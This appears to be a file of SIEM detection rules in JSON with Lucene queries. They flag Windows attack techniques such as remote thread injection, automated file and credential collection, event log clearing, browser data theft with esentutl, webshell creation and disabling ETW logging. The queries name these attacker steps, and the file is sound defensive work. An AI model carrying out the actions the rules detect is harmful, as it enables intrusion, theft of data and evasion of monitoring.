{"description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild. This rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes. It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "95e03004-ce6c-abdd-bfbe-6e6d741a6373", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Remote Thread Created", "query": "(process.executable:(*\\\\bash.exe OR *\\\\cvtres.exe OR *\\\\defrag.exe OR *\\\\dnx.exe OR *\\\\esentutl.exe OR *\\\\excel.exe OR *\\\\expand.exe OR *\\\\explorer.exe OR *\\\\find.exe OR *\\\\findstr.exe OR *\\\\forfiles.exe OR *\\\\git.exe OR *\\\\gpupdate.exe OR *\\\\hh.exe OR *\\\\iexplore.exe OR *\\\\installutil.exe OR *\\\\lync.exe OR *\\\\makecab.exe OR *\\\\mDNSResponder.exe OR *\\\\monitoringhost.exe OR *\\\\msbuild.exe OR *\\\\mshta.exe OR *\\\\msiexec.exe OR *\\\\mspaint.exe OR *\\\\outlook.exe OR *\\\\ping.exe OR *\\\\powerpnt.exe OR *\\\\powershell.exe OR *\\\\provtool.exe OR *\\\\python.exe OR *\\\\regsvr32.exe OR *\\\\robocopy.exe OR *\\\\runonce.exe OR *\\\\sapcimc.exe OR *\\\\schtasks.exe OR *\\\\smartscreen.exe OR *\\\\spoolsv.exe OR *\\\\tstheme.exe OR *\\\\userinit.exe OR *\\\\vssadmin.exe OR *\\\\vssvc.exe OR *\\\\w3wp.exe OR *\\\\winlogon.exe OR *\\\\winscp.exe OR *\\\\wmic.exe OR *\\\\word.exe OR *\\\\wscript.exe) AND (NOT ((process.executable:*Visual\\ Studio*) OR (process.executable:\"C\\:\\\\Windows\\\\System32\\\\winlogon.exe\" AND winlog.event_data.TargetImage:(\"C\\:\\\\Windows\\\\System32\\\\services.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wininit.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\csrss.exe\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["Personal research, statistical analysis", ""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community"], "license": ""}
{"description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild. This rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes. It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "95e03004-ce6c-abdd-bfbe-6e6d741a6373", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Remote Thread Created", "query": "(process.executable.text:(*\\\\bash.exe OR *\\\\cvtres.exe OR *\\\\defrag.exe OR *\\\\dnx.exe OR *\\\\esentutl.exe OR *\\\\excel.exe OR *\\\\expand.exe OR *\\\\explorer.exe OR *\\\\find.exe OR *\\\\findstr.exe OR *\\\\forfiles.exe OR *\\\\gpupdate.exe OR *\\\\hh.exe OR *\\\\iexplore.exe OR *\\\\installutil.exe OR *\\\\lync.exe OR *\\\\makecab.exe OR *\\\\mDNSResponder.exe OR *\\\\monitoringhost.exe OR *\\\\msbuild.exe OR *\\\\mshta.exe OR *\\\\msiexec.exe OR *\\\\mspaint.exe OR *\\\\outlook.exe OR *\\\\ping.exe OR *\\\\powerpnt.exe OR *\\\\provtool.exe OR *\\\\python.exe OR *\\\\regsvr32.exe OR *\\\\robocopy.exe OR *\\\\runonce.exe OR *\\\\sapcimc.exe OR *\\\\schtasks.exe OR *\\\\smartscreen.exe OR *\\\\spoolsv.exe OR *\\\\tstheme.exe OR *\\\\userinit.exe OR *\\\\vssadmin.exe OR *\\\\vssvc.exe OR *\\\\w3wp.exe OR *\\\\winlogon.exe OR *\\\\winscp.exe OR *\\\\wmic.exe OR *\\\\word.exe OR *\\\\wscript.exe) AND (NOT ((process.executable.text:*Visual\\ Studio* OR SourceParentImage:*\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\*) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\winlogon.exe\" AND winlog.event_data.TargetImage:(\"C\\:\\\\Windows\\\\System32\\\\services.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wininit.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\csrss.exe\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\provtool.exe\" AND TargetParentProcessId:\"0\") OR (process.executable.text:*\\\\git.exe AND winlog.event_data.TargetImage:(*\\\\git.exe OR *C\\:\\\\Windows\\\\System32\\\\conhost.exe)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\VSSVC.exe\" AND winlog.event_data.TargetImage:\"System\") OR (SourceParentImage:\"C\\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe\") OR (process.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\schtasks.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\schtasks.exe\") AND winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\System32\\\\conhost.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["Personal research, statistical analysis", ""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community"], "license": ""}
{"description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild. This rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes. It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67df8db6-e775-f3c8-0afb-4e7037ca2b89", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Remote Thread Source", "query": "(process.executable.text:(*\\\\bash.exe OR *\\\\cvtres.exe OR *\\\\defrag.exe OR *\\\\dnx.exe OR *\\\\esentutl.exe OR *\\\\excel.exe OR *\\\\expand.exe OR *\\\\explorer.exe OR *\\\\find.exe OR *\\\\findstr.exe OR *\\\\forfiles.exe OR *\\\\gpupdate.exe OR *\\\\hh.exe OR *\\\\iexplore.exe OR *\\\\installutil.exe OR *\\\\lync.exe OR *\\\\makecab.exe OR *\\\\mDNSResponder.exe OR *\\\\monitoringhost.exe OR *\\\\msbuild.exe OR *\\\\mshta.exe OR *\\\\msiexec.exe OR *\\\\mspaint.exe OR *\\\\outlook.exe OR *\\\\ping.exe OR *\\\\powerpnt.exe OR *\\\\provtool.exe OR *\\\\python.exe OR *\\\\regsvr32.exe OR *\\\\robocopy.exe OR *\\\\runonce.exe OR *\\\\sapcimc.exe OR *\\\\schtasks.exe OR *\\\\smartscreen.exe OR *\\\\spoolsv.exe OR *\\\\tstheme.exe OR *\\\\userinit.exe OR *\\\\vssadmin.exe OR *\\\\vssvc.exe OR *\\\\w3wp.exe OR *\\\\winlogon.exe OR *\\\\winscp.exe OR *\\\\wmic.exe OR *\\\\word.exe OR *\\\\wscript.exe) AND (NOT ((process.executable.text:*Visual\\ Studio* OR SourceParentImage:*\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\*) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\winlogon.exe\" AND winlog.event_data.TargetImage:(\"C\\:\\\\Windows\\\\System32\\\\services.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wininit.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\csrss.exe\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\provtool.exe\" AND TargetParentProcessId:\"0\") OR (process.executable.text:*\\\\git.exe AND winlog.event_data.TargetImage:(*\\\\git.exe OR *C\\:\\\\Windows\\\\System32\\\\conhost.exe)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\VSSVC.exe\" AND winlog.event_data.TargetImage:\"System\") OR (SourceParentImage:\"C\\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe\") OR (process.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\schtasks.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\schtasks.exe\") AND winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\System32\\\\conhost.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["Personal research, statistical analysis", ""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community"], "license": ""}
{"description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild. This rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes. It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bf5d4aeb-b2d8-c17a-b373-6b8e7819c73a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Remote Thread Target", "query": "(winlog.event_data.TargetImage:(*\\\\spoolsv.exe OR *\\\\notepad.exe) AND (NOT (process.executable.text:*\\\\csrss.exe OR process.executable.text:*unknown\\ process* OR StartFunction:\"EtwpNotificationThread\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee85e075-46b8-5197-6e73-c8ef0057f0d8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Recon Information for Export with PowerShell", "query": "(powershell.file.script_block_text:(*Get\\-Service\\ * OR *Get\\-ChildItem\\ * OR *Get\\-Process\\ *) AND powershell.file.script_block_text:*>\\ $env\\:TEMP\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1119"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1119", "name": "Automated Collection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5fdb09b4-3296-1367-7dbf-a7ee377bd065", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Automated Collection Command PowerShell", "query": "(powershell.file.script_block_text:(*.doc* OR *.docx* OR *.xls* OR *.xlsx* OR *.ppt* OR *.pptx* OR *.rtf* OR *.pdf* OR *.txt*) AND powershell.file.script_block_text:*Get\\-ChildItem* AND powershell.file.script_block_text:*\\ \\-Recurse\\ * AND powershell.file.script_block_text:*\\ \\-Include\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1119"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1119", "name": "Automated Collection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5ce97677-3375-e1d0-870b-3e917eed3788", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Automated Collection Command Prompt", "query": "(process.command_line.text:(*.doc* OR *.docx* OR *.xls* OR *.xlsx* OR *.ppt* OR *.pptx* OR *.rtf* OR *.pdf* OR *.txt*) AND ((process.command_line.text:*dir\\ * AND process.command_line.text:*\\ \\/b\\ * AND process.command_line.text:*\\ \\/s\\ *) OR (winlog.event_data.OriginalFileName:\"FINDSTR.EXE\" AND process.command_line.text:(*\\ \\/e\\ * OR *\\ \\/si\\ *))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1119", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1119", "name": "Automated Collection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "740c4372-495c-21d7-ebd9-bb08d0b06557", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Recon Information for Export with Command Prompt", "query": "(process.executable:(*\\\\tree.com OR *\\\\WMIC.exe OR *\\\\doskey.exe OR *\\\\sc.exe) AND process.parent.command_line:*\\ >\\ %TEMP%\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1119"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1119", "name": "Automated Collection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c510c459-1b6c-7fba-61f4-a182b017fa01", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Creation with Colorcpl", "query": "(process.executable.text:*\\\\colorcpl.exe AND (NOT ((file.path.text:(*.icm OR *.gmmp OR *.cdmp OR *.camp)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "enabled": false, "false_positives": ["Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "90ef0f11-1453-7238-a330-6efbe4343a76", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "System Eventlog Cleared", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"104\" AND Provider_Name:\"Microsoft\\-Windows\\-Eventlog\" AND winlog.channel:(\"System\" OR \"Security\" OR \"Application\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tim Shelton"], "license": ""}
{"description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "enabled": false, "false_positives": ["Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64c008cc-9cee-8e86-1b1e-a8f10d1d70c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Security Eventlog Cleared", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"517\" AND Provider_Name:\"Security\") OR (winlog.event_id:\"1102\" AND Provider_Name:\"Microsoft\\-Windows\\-Eventlog\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b2d116f-873d-3966-42df-ef874fb4e33d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Esentutl Steals Browser Information", "query": "((process.executable.text:*\\\\esentutl.exe OR winlog.event_data.OriginalFileName:\"esentutl.exe\") AND process.command_line.text:(*\\/r* OR *\\-r*) AND process.command_line.text:*\\\\Windows\\\\WebCache*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1005"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "240d8a25-38f7-d825-4c27-89222e8f5b64", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious IO.FileStream", "query": "(powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*IO.FileStream* AND powershell.file.script_block_text:*\\\\\\\\.\\\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bab12db2-16b9-5487-99dc-25956eba5916", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Run from a Zip File", "query": "process.executable:*.zip\\\\*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Performs execution of specified file, can be used as a defensive evasion.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4aa4e90a-c4ad-1426-6f4b-faede47d9857", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Subsystem for Linux Bash Execution", "query": "(process.command_line:*bash.exe* AND process.command_line:*\\-c\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Performs execution of specified file, can be used for defensive evasion.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4aa4e90a-c4ad-1426-6f4b-faede47d9857", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Subsystem for Linux Bash Execution", "query": "((process.command_line.text:*bash.exe* AND process.command_line.text:*\\-c\\ *) AND (NOT ((process.parent.command_line.text:(*C\\:\\\\Program\\ Files\\\\Git\\\\post\\-install.bat* OR *C\\:\\\\Program\\ Files\\ \$x86\$\\\\Git\\\\post\\-install.bat* OR *echo\\ \\/etc\\/post\\-install\\/*.post*) OR process.command_line.text:*echo\\ \\/etc\\/post\\-install\\/*.post*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Possible webshell file creation on a static web site", "enabled": false, "false_positives": ["Legitimate administrator or developer creating legitimate executable files in a web application folder"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9b47149f-d7f7-8bfd-d74d-229031625e51", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Webshell Creation", "query": "(((file.path.text:*\\\\inetpub\\\\wwwroot\\\\* AND file.path.text:(*.asp* OR *.ashx* OR *.ph*)) OR (file.path.text:(*\\\\www\\\\* OR *\\\\htdocs\\\\* OR *\\\\html\\\\*) AND file.path.text:*.ph*)) AND (NOT ((file.path.text:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\*)) OR (process.executable.text:\"System\") OR (file.path.text:*\\\\xampp*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["PT ESC rule and personal experience"], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Potential adversaries accessing the microphone and webcam in an endpoint.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d9e70b38-a5be-b6b6-7d6e-10887707bce3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Processes Accessing the Microphone and Webcam", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4657\" OR \"4656\" OR \"4663\") AND winlog.event_data.ObjectName:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\microphone\\\\NonPackaged* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\webcam\\\\NonPackaged*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1123"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "38d5bdab-5b48-e1aa-b7d3-3a3d81fc483e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ETW Logging Disabled In .NET Processes - Registry", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4657\" AND NewValue:\"0\" AND (((winlog.event_data.ObjectName:*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework AND winlog.event_data.ObjectValueName:\"ETWEnabled\")) OR ((winlog.event_data.ObjectName:*\\\\Environment* AND winlog.event_data.ObjectValueName:(\"COMPlus_ETWEnabled\" OR \"COMPlus_ETWFlags\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2495c98d-b6f0-18d2-91b7-04356f08078c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "COMPlus_ETWEnabled Command Line Arguments", "query": "process.command_line:*COMPlus_ETWEnabled\\=0*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2cf5f841-a6a1-1215-ff12-5151094608b6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "COMPlus_ETWEnabled Registry Modification", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2cf5f841-a6a1-1215-ff12-5151094608b6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "COMPlus_ETWEnabled Registry Modification", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4657\" AND winlog.event_data.ObjectName:*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework AND winlog.event_data.ObjectValueName:\"ETWEnabled\" AND NewValue:\"0\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", 